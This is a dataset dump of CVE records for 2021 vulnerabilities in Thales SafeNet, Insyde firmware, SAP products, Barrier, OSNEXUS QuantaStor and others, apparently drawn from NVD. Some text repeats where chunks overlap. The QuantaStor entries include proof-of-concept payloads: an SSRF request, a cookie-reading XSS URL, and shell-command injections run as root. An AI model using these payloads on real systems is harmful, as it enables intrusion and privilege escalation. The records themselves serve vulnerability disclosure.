Kushalkhemka/embedding-cve-nvd-dataset huggingface dataset:
CVE ID: CVE-2021-42056 State: PUBLISHED Published: 2022-06-24T16:14:23 Last Updated: 2024-08-04T03:22:25.925Z Vendors: n/a Products: n/a Problem Types: n/a Description: Thales Safenet Authentication Client (SAC) for Linux and Windows through 10.7.7 creates insecure temporary hid and lock files allowing a local attacker, through a symlink attack, to overwrite arbitrary files, and potentially achieve arbitrary command execution with high privileges. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/z00z00z00/Safenet_SAC_CVE-2021-42056
CVE ID: CVE-2021-42057 State: PUBLISHED Published: 2021-11-04T20:20:59 Last Updated: 2024-08-04T03:22:25.839Z Vendors: n/a Products: n/a Problem Types: n/a Description: Obsidian Dataview through 0.4.12-hotfix1 allows eval injection. The evalInContext function in executes user input, which allows an attacker to craft malicious Markdown files that will execute arbitrary code once opened. NOTE: 0.4.13 provides a mitigation for some use cases. Additional Analyst Notes: - CVE Program Container: References: - https://github.com/blacksmithgu/obsidian-dataview/issues/615
CVE ID: CVE-2021-42059 State: PUBLISHED Published: 2022-02-03T01:13:47.000Z Last Updated: 2025-11-04T19:12:39.726Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Insyde InsydeH2O Kernel 5.0 before 05.08.41, Kernel 5.1 before 05.16.41, Kernel 5.2 before 05.26.41, Kernel 5.3 before 05.35.41, and Kernel 5.4 before 05.42.20. A stack-based buffer overflow leads toarbitrary code execution in UEFI DisplayTypeDxe DXE driver. Additional Analyst Notes: - CVE Program Container: References: - https://www.insyde.com/security-pledge - https://www.insyde.com/security-pledge/SA-2022006 - https://security.netapp.com/advisory/ntap-20220216-0008/ - https://cert-portal.sie
syde.com/security-pledge/SA-2022006 - https://security.netapp.com/advisory/ntap-20220216-0008/ - https://cert-portal.siemens.com/productcert/pdf/ssa-306654.pdf
CVE ID: CVE-2021-42060 State: PUBLISHED Published: 2022-02-03T01:27:34.000Z Last Updated: 2025-11-04T19:12:40.921Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Insyde InsydeH2O Kernel 5.0 through 05.08.41, Kernel 5.1 through 05.16.41, Kernel 5.2 before 05.23.22, and Kernel 5.3 before 05.32.22. An Int15ServiceSmm SMM callout vulnerability allows an attacker to hijack execution flow of code running in System Management Mode. Exploiting this issue could lead to escalating privileges to SMM. Additional Analyst Notes: - CVE Program Container: References: - https://www.insyde.com/security-pledge - https://www.insyde.com/security-pledge/SA-2022007 - https://
ner: References: - https://www.insyde.com/security-pledge - https://www.insyde.com/security-pledge/SA-2022007 - https://security.netapp.com/advisory/ntap-20220217-0015/ - https://cert-portal.siemens.com/productcert/pdf/ssa-306654.pdf
CVE ID: CVE-2021-42061 State: PUBLISHED Published: 2021-12-14T15:44:16 Last Updated: 2024-08-04T03:22:25.820Z Vendors: SAP SE Products: SAP BusinessObjects Business Intelligence Platform Problem Types: CWE-79 Description: SAP BusinessObjects Business Intelligence Platform (Web Intelligence) - version 420, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. This allows a low privileged attacker to retrieve some data from the victim but will never be able to modify the document and publish these modifications to the server. It impacts the "Quick Prompt" workflow. Additional Analyst Notes: - CVE Program Container: References: - https://lau
er. It impacts the "Quick Prompt" workflow. Additional Analyst Notes: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3103677 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021
CVE ID: CVE-2021-42062 State: PUBLISHED Published: 2021-11-10T15:30:39 Last Updated: 2024-08-04T03:22:25.846Z Vendors: SAP SE Products: SAP ERP HCM Portugal Problem Types: CWE-862 Description: SAP ERP HCM Portugal does not perform necessary authorization checks for a report that reads the payroll data of employees in a certain area. Since the affected report only reads the payroll information, the attacker can neither modify any information nor cause availability impacts. Additional Analyst Notes: - CVE Program Container: References: - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=589496864 - https://launchpad.support.sap.com/#/notes/3104456
CVE ID: CVE-2021-42063 State: PUBLISHED Published: 2021-12-14T15:44:11 Last Updated: 2024-08-04T03:22:25.975Z Vendors: SAP SE Products: SAP Knowledge Warehouse Problem Types: Cross-Site Scripting Description: A security vulnerability has been discovered in the SAP Knowledge Warehouse - versions 7.30, 7.31, 7.40, 7.50. The usage of one SAP KW component within a Web browser enables unauthorized attackers to conduct XSS attacks, which might lead to disclose sensitive data. Additional Analyst Notes: - CVE Program Container: References: - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021 - https://launchpad.support.sap.com/#/notes/3102769 - http://seclists.org/fulld
R/SAP+Security+Patch+Day+-+December+2021 - https://launchpad.support.sap.com/#/notes/3102769 - http://seclists.org/fulldisclosure/2022/Mar/32 - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
CVE ID: CVE-2021-42064 State: PUBLISHED Published: 2021-12-14T15:44:14 Last Updated: 2024-08-04T03:22:25.989Z Vendors: SAP SE Products: SAP Commerce Problem Types: SQL Injection Description: If configured to use an Oracle database and if a query is created using the flexible search java api with a parameterized "in" clause, SAP Commerce - versions 1905, 2005, 2105, 2011, allows attacker to execute crafted database queries, exposing backend database. The vulnerability is present if the parameterized "in" clause accepts more than 1000 values. Additional Analyst Notes: - CVE Program Container: References: - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021 - https
rogram Container: References: - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021 - https://launchpad.support.sap.com/#/notes/3114134
CVE ID: CVE-2021-42066 State: PUBLISHED Published: 2021-12-14T15:44:11 Last Updated: 2024-08-04T03:22:25.756Z Vendors: SAP SE Products: SAP Business One Problem Types: CWE-312 Description: SAP Business One - version 10.0, allows an admin user to view DB password in plain text over the network, which should otherwise be encrypted. For an attacker to discover vulnerable function in-depth application knowledge is required, but once exploited the attacker may be able to completely compromise confidentiality, integrity, and availability of the application. Additional Analyst Notes: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3101299 - https://wiki.scn.sap.com/
es: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3101299 - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=596902035
CVE ID: CVE-2021-42067 State: PUBLISHED Published: 2022-01-14T19:11:31 Last Updated: 2024-08-04T03:22:25.941Z Vendors: SAP SE Products: SAP NetWeaver AS for ABAP and ABAP Platform Problem Types: SSRF Description: In SAP NetWeaver AS for ABAP and ABAP Platform - versions 701, 702, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 756, 786, an attacker authenticated as a regular user can use the S/4 Hana dashboard to reveal systems and services which they would not normally be allowed to see. No information alteration or denial of service is possible. Additional Analyst Notes: - CVE Program Container: References: - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=596902035 - https://
: - CVE Program Container: References: - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=596902035 - https://launchpad.support.sap.com/#/notes/3112710
CVE ID: CVE-2021-42068 State: PUBLISHED Published: 2021-12-14T15:44:15 Last Updated: 2024-08-04T03:22:25.961Z Vendors: SAP SE Products: SAP 3D Visual Enterprise Viewer Problem Types: Improper input validation Description: When a user opens a manipulated GIF (.gif) file received from untrusted sources in SAP 3D Visual Enterprise Viewer - version 9.0, the application crashes and becomes temporarily unavailable to the user until restart of the application. Additional Analyst Notes: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3121165 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021
CVE ID: CVE-2021-42069 State: PUBLISHED Published: 2021-12-14T15:44:12 Last Updated: 2024-08-04T03:22:26.029Z Vendors: SAP SE Products: SAP 3D Visual Enterprise Viewer Problem Types: Improper input validation Description: When a user opens manipulated Tagged Image File Format (.tif) file received from untrusted sources in SAP 3D Visual Enterprise Viewer - version 9.0, the application crashes and becomes temporarily unavailable to the user until restart of the application Additional Analyst Notes: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3121165 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021 - https://www.zerodayiniti
es/3121165 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021 - https://www.zerodayinitiative.com/advisories/ZDI-21-1551/
CVE ID: CVE-2021-42070 State: PUBLISHED Published: 2021-12-14T15:44:14 Last Updated: 2024-08-04T03:22:25.853Z Vendors: SAP SE Products: SAP 3D Visual Enterprise Viewer Problem Types: Improper input validation Description: When a user opens manipulated Jupiter Tessellation (.jt) file received from untrusted sources in SAP 3D Visual Enterprise Viewer - version 9.0, the application crashes and becomes temporarily unavailable to the user until restart of the application Additional Analyst Notes: - CVE Program Container: References: - https://launchpad.support.sap.com/#/notes/3121165 - https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+December+2021
CVE ID: CVE-2021-42071 State: PUBLISHED Published: 2021-10-07T16:15:14 Last Updated: 2024-08-04T03:22:25.941Z Vendors: n/a Products: n/a Problem Types: n/a Description: In Visual Tools DVR VX16 4.2.28.0, an unauthenticated attacker can achieve remote command execution via shell metacharacters in the cgi-bin/slogin/login.py User-Agent HTTP header. Additional Analyst Notes: - CVE Program Container: References: - https://www.exploit-db.com/exploits/50098 - https://visual-tools.com/ - https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/
CVE ID: CVE-2021-42072 State: PUBLISHED Published: 2021-11-08T03:44:37 Last Updated: 2024-08-04T03:22:25.978Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Barrier before 2.4.0. The barriers component (aka the server-side implementation of Barrier) does not sufficiently verify the identify of connecting clients. Clients can thus exploit weaknesses in the provided protocol to cause denial-of-service or stage further attacks that could lead to information leaks or integrity corruption. Additional Analyst Notes: - CVE Program Container: References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/ta
References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/tag/v2.4.0 - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XMU3STOKHPEZSC54MZ42YBFFC2R3BU2Q/ - https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CIEVNCFEFO7L3NTM4VUZB3WKYYCBTFCI/
CVE ID: CVE-2021-42073 State: PUBLISHED Published: 2021-11-08T00:00:00 Last Updated: 2024-08-04T03:22:26.062Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Barrier before 2.4.0. An attacker can enter an active session state with the barriers component (aka the server-side implementation of Barrier) simply by supplying a client label that identifies a valid client configuration. This label is "Unnamed" by default but could instead be guessed from hostnames or other publicly available information. In the active session state, an attacker can capture input device events from the server, and also modify the clipboard content on the server. Additional Analy
r can capture input device events from the server, and also modify the clipboard content on the server. Additional Analyst Notes: - CVE Program Container: References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/tag/v2.4.0 - https://github.com/debauchee/barrier/commit/b5adc93e2bd74cb094f91ff595c07f321a489f3e - https://github.com/debauchee/barrier/commit/229abab99f39f11624e5651f819e7f1f8eddedcc
CVE ID: CVE-2021-42074 State: PUBLISHED Published: 2021-11-08T03:52:01 Last Updated: 2024-08-04T03:22:25.990Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Barrier before 2.3.4. An unauthenticated attacker can cause a segmentation fault in the barriers component (aka the server-side implementation of Barrier) by quickly opening and closing TCP connections while sending a Hello message for each TCP session. Additional Analyst Notes: - CVE Program Container: References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/tag/v2.3.4
CVE ID: CVE-2021-42075 State: PUBLISHED Published: 2021-11-08T03:55:26 Last Updated: 2024-08-04T03:22:25.829Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Barrier before 2.3.4. The barriers component (aka the server-side implementation of Barrier) does not correctly close file descriptors for established TCP connections. An unauthenticated remote attacker can thus cause file descriptor exhaustion in the server process, leading to denial of service. Additional Analyst Notes: - CVE Program Container: References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/tag/v2.3.4
CVE ID: CVE-2021-42076 State: PUBLISHED Published: 2021-11-08T03:56:33 Last Updated: 2024-08-04T03:22:25.919Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Barrier before 2.3.4. An attacker can cause memory exhaustion in the barriers component (aka the server-side implementation of Barrier) and barrierc by sending long TCP messages. Additional Analyst Notes: - CVE Program Container: References: - http://www.openwall.com/lists/oss-security/2021/11/02/4 - https://github.com/debauchee/barrier/releases/tag/v2.3.4
CVE ID: CVE-2021-42077 State: PUBLISHED Published: 2021-11-08T04:01:18 Last Updated: 2024-08-04T03:22:25.984Z Vendors: n/a Products: n/a Problem Types: n/a Description: PHP Event Calendar before 2021-09-03 allows SQL injection, as demonstrated by the /server/ajax/user_manager.php username parameter. This can be used to execute SQL statements directly on the database, allowing an adversary in some cases to completely compromise the database system. It can also be used to bypass the login form. Additional Analyst Notes: - CVE Program Container: References: - http://packetstormsecurity.com/files/164777/PHP-Event-Calendar-Lite-Edition-SQL-Injection.html - https://www.syss.de/fileadmin/dokumente/
msecurity.com/files/164777/PHP-Event-Calendar-Lite-Edition-SQL-Injection.html - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-048.txt
CVE ID: CVE-2021-42078 State: PUBLISHED Published: 2021-11-08T04:07:18 Last Updated: 2024-08-04T03:22:25.998Z Vendors: n/a Products: n/a Problem Types: n/a Description: PHP Event Calendar through 2021-11-04 allows persistent cross-site scripting (XSS), as demonstrated by the /server/ajax/events_manager.php title parameter. This can be exploited by an adversary in multiple ways, e.g., to perform actions on the page in the context of other users, or to deface the site. Additional Analyst Notes: - CVE Program Container: References: - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-049.txt - http://seclists.org/fulldisclosure/2021/Nov/24
CVE ID: CVE-2021-42079 State: PUBLISHED Published: 2023-07-10T06:29:48.339Z Last Updated: 2025-09-22T06:40:03.059Z Severity: MEDIUM (CVSS 6.2 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N) Vendors: OSNEXUS Products: QuantaStor Problem Types: CWE-918 Description: An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&pool
ssword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi
C_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attach
oint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer":
21", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF ##### Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnri
: 'TNF-AS, NL' } #### END FLASK REQUEST STUFF ##### Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.wbsec.nl/osnexus - https://cisrt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.divd.nl/CVE-2021-42079
CVE ID: CVE-2021-42080 State: PUBLISHED Published: 2023-07-10T06:29:48.166Z Last Updated: 2025-09-22T06:40:04.494Z Severity: HIGH (CVSS 7.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N) Vendors: OSNEXUS Products: QuantaStor Problem Types: CWE-79 Description: An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)> Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.wbsec.nl/osnexus - https://csirt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.div
- https://csirt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.divd.nl/CVE-2021-42080
CVE ID: CVE-2021-42081 State: PUBLISHED Published: 2023-07-10T06:29:48.514Z Last Updated: 2025-09-22T06:40:06.104Z Severity: CRITICAL (CVSS 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H) Vendors: OSNEXUS Products: QuantaStor Problem Types: CWE-78 Description: An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.wbsec
;ls${IFS}-al Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.wbsec.nl/osnexus - https://csirt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.divd.nl/CVE-2021-42081
CVE ID: CVE-2021-42082 State: PUBLISHED Published: 2023-07-10T06:29:47.984Z Last Updated: 2025-09-22T06:40:10.543Z Severity: HIGH (CVSS 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Vendors: OSNEXUS Products: QuantaStor Problem Types: CWE-269 Description: Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`' Additional Analyst Notes: - CVE Program Container: - CISA ADP Vulnrichment: References: - https://www.wbsec.nl/osnexus - https://csirt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.divd.nl/CVE-2021-42082
CVE ID: CVE-2021-42083 State: PUBLISHED Published: 2023-07-10T06:29:47.782Z Last Updated: 2025-09-22T06:40:07.586Z Severity: HIGH (CVSS 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) Vendors: OSNEXUS Products: QuantaStor Problem Types: CWE-79 Description: An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSM tab * add a webhook with the URL/service token value ' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters) * click add * click apply * create a test alert * The test alert will run the command “id | tee /tmp/ttttttddddssss” as root. * after the test alert inspect /tmp/ttttttddddssss it'll c
will run the command “id | tee /tmp/ttttttddddssss” as root. * after the test alert inspect /tmp/ttttttddddssss it'll contain the ids of the root user. Additional Analyst Notes: - CVE Program Container: References: - https://www.wbsec.nl/osnexus - https://csirt.divd.nl/DIVD-2021-00020/ - https://www.osnexus.com/products/software-defined-storage - https://csirt.divd.nl/CVE-2021-42083
CVE ID: CVE-2021-42084 State: PUBLISHED Published: 2021-10-07T19:37:13 Last Updated: 2024-08-04T03:22:25.950Z Vendors: n/a Products: n/a Problem Types: n/a Description: An issue was discovered in Zammad before 4.1.1. An attacker with valid agent credentials may send a series of crafted requests that cause an endless loop and thus cause denial of service. Additional Analyst Notes: - CVE Program Container: References: - https://zammad.com/en/advisories/zaa-2021-11